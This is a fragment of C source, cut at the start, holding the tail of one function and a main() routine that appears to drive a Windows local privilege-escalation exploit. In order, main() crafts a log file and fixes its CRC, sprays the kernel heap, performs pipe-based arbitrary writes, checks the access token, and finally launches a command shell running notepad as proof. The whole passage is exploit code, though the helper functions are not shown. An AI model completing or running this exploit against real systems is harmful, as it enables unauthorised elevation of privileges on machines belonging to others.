exit(1234); } //getchar(); } flag++; //getchar(); return 0; } int main(int argc, TCHAR* argv[]) { getOSversion(); InitEnvironment(); checkAccessToken(); createInitialLogFile(); GetOffsetBetweenPools(); craftFile(); crcCalculatorAndFix(); doHeapSpray(); pipeArbitraryWriteValues(); pipeArbitraryWrite(); pipeArbitraryWrite(); WinExec("cmd /c notepad", 1); getchar(); return 0; }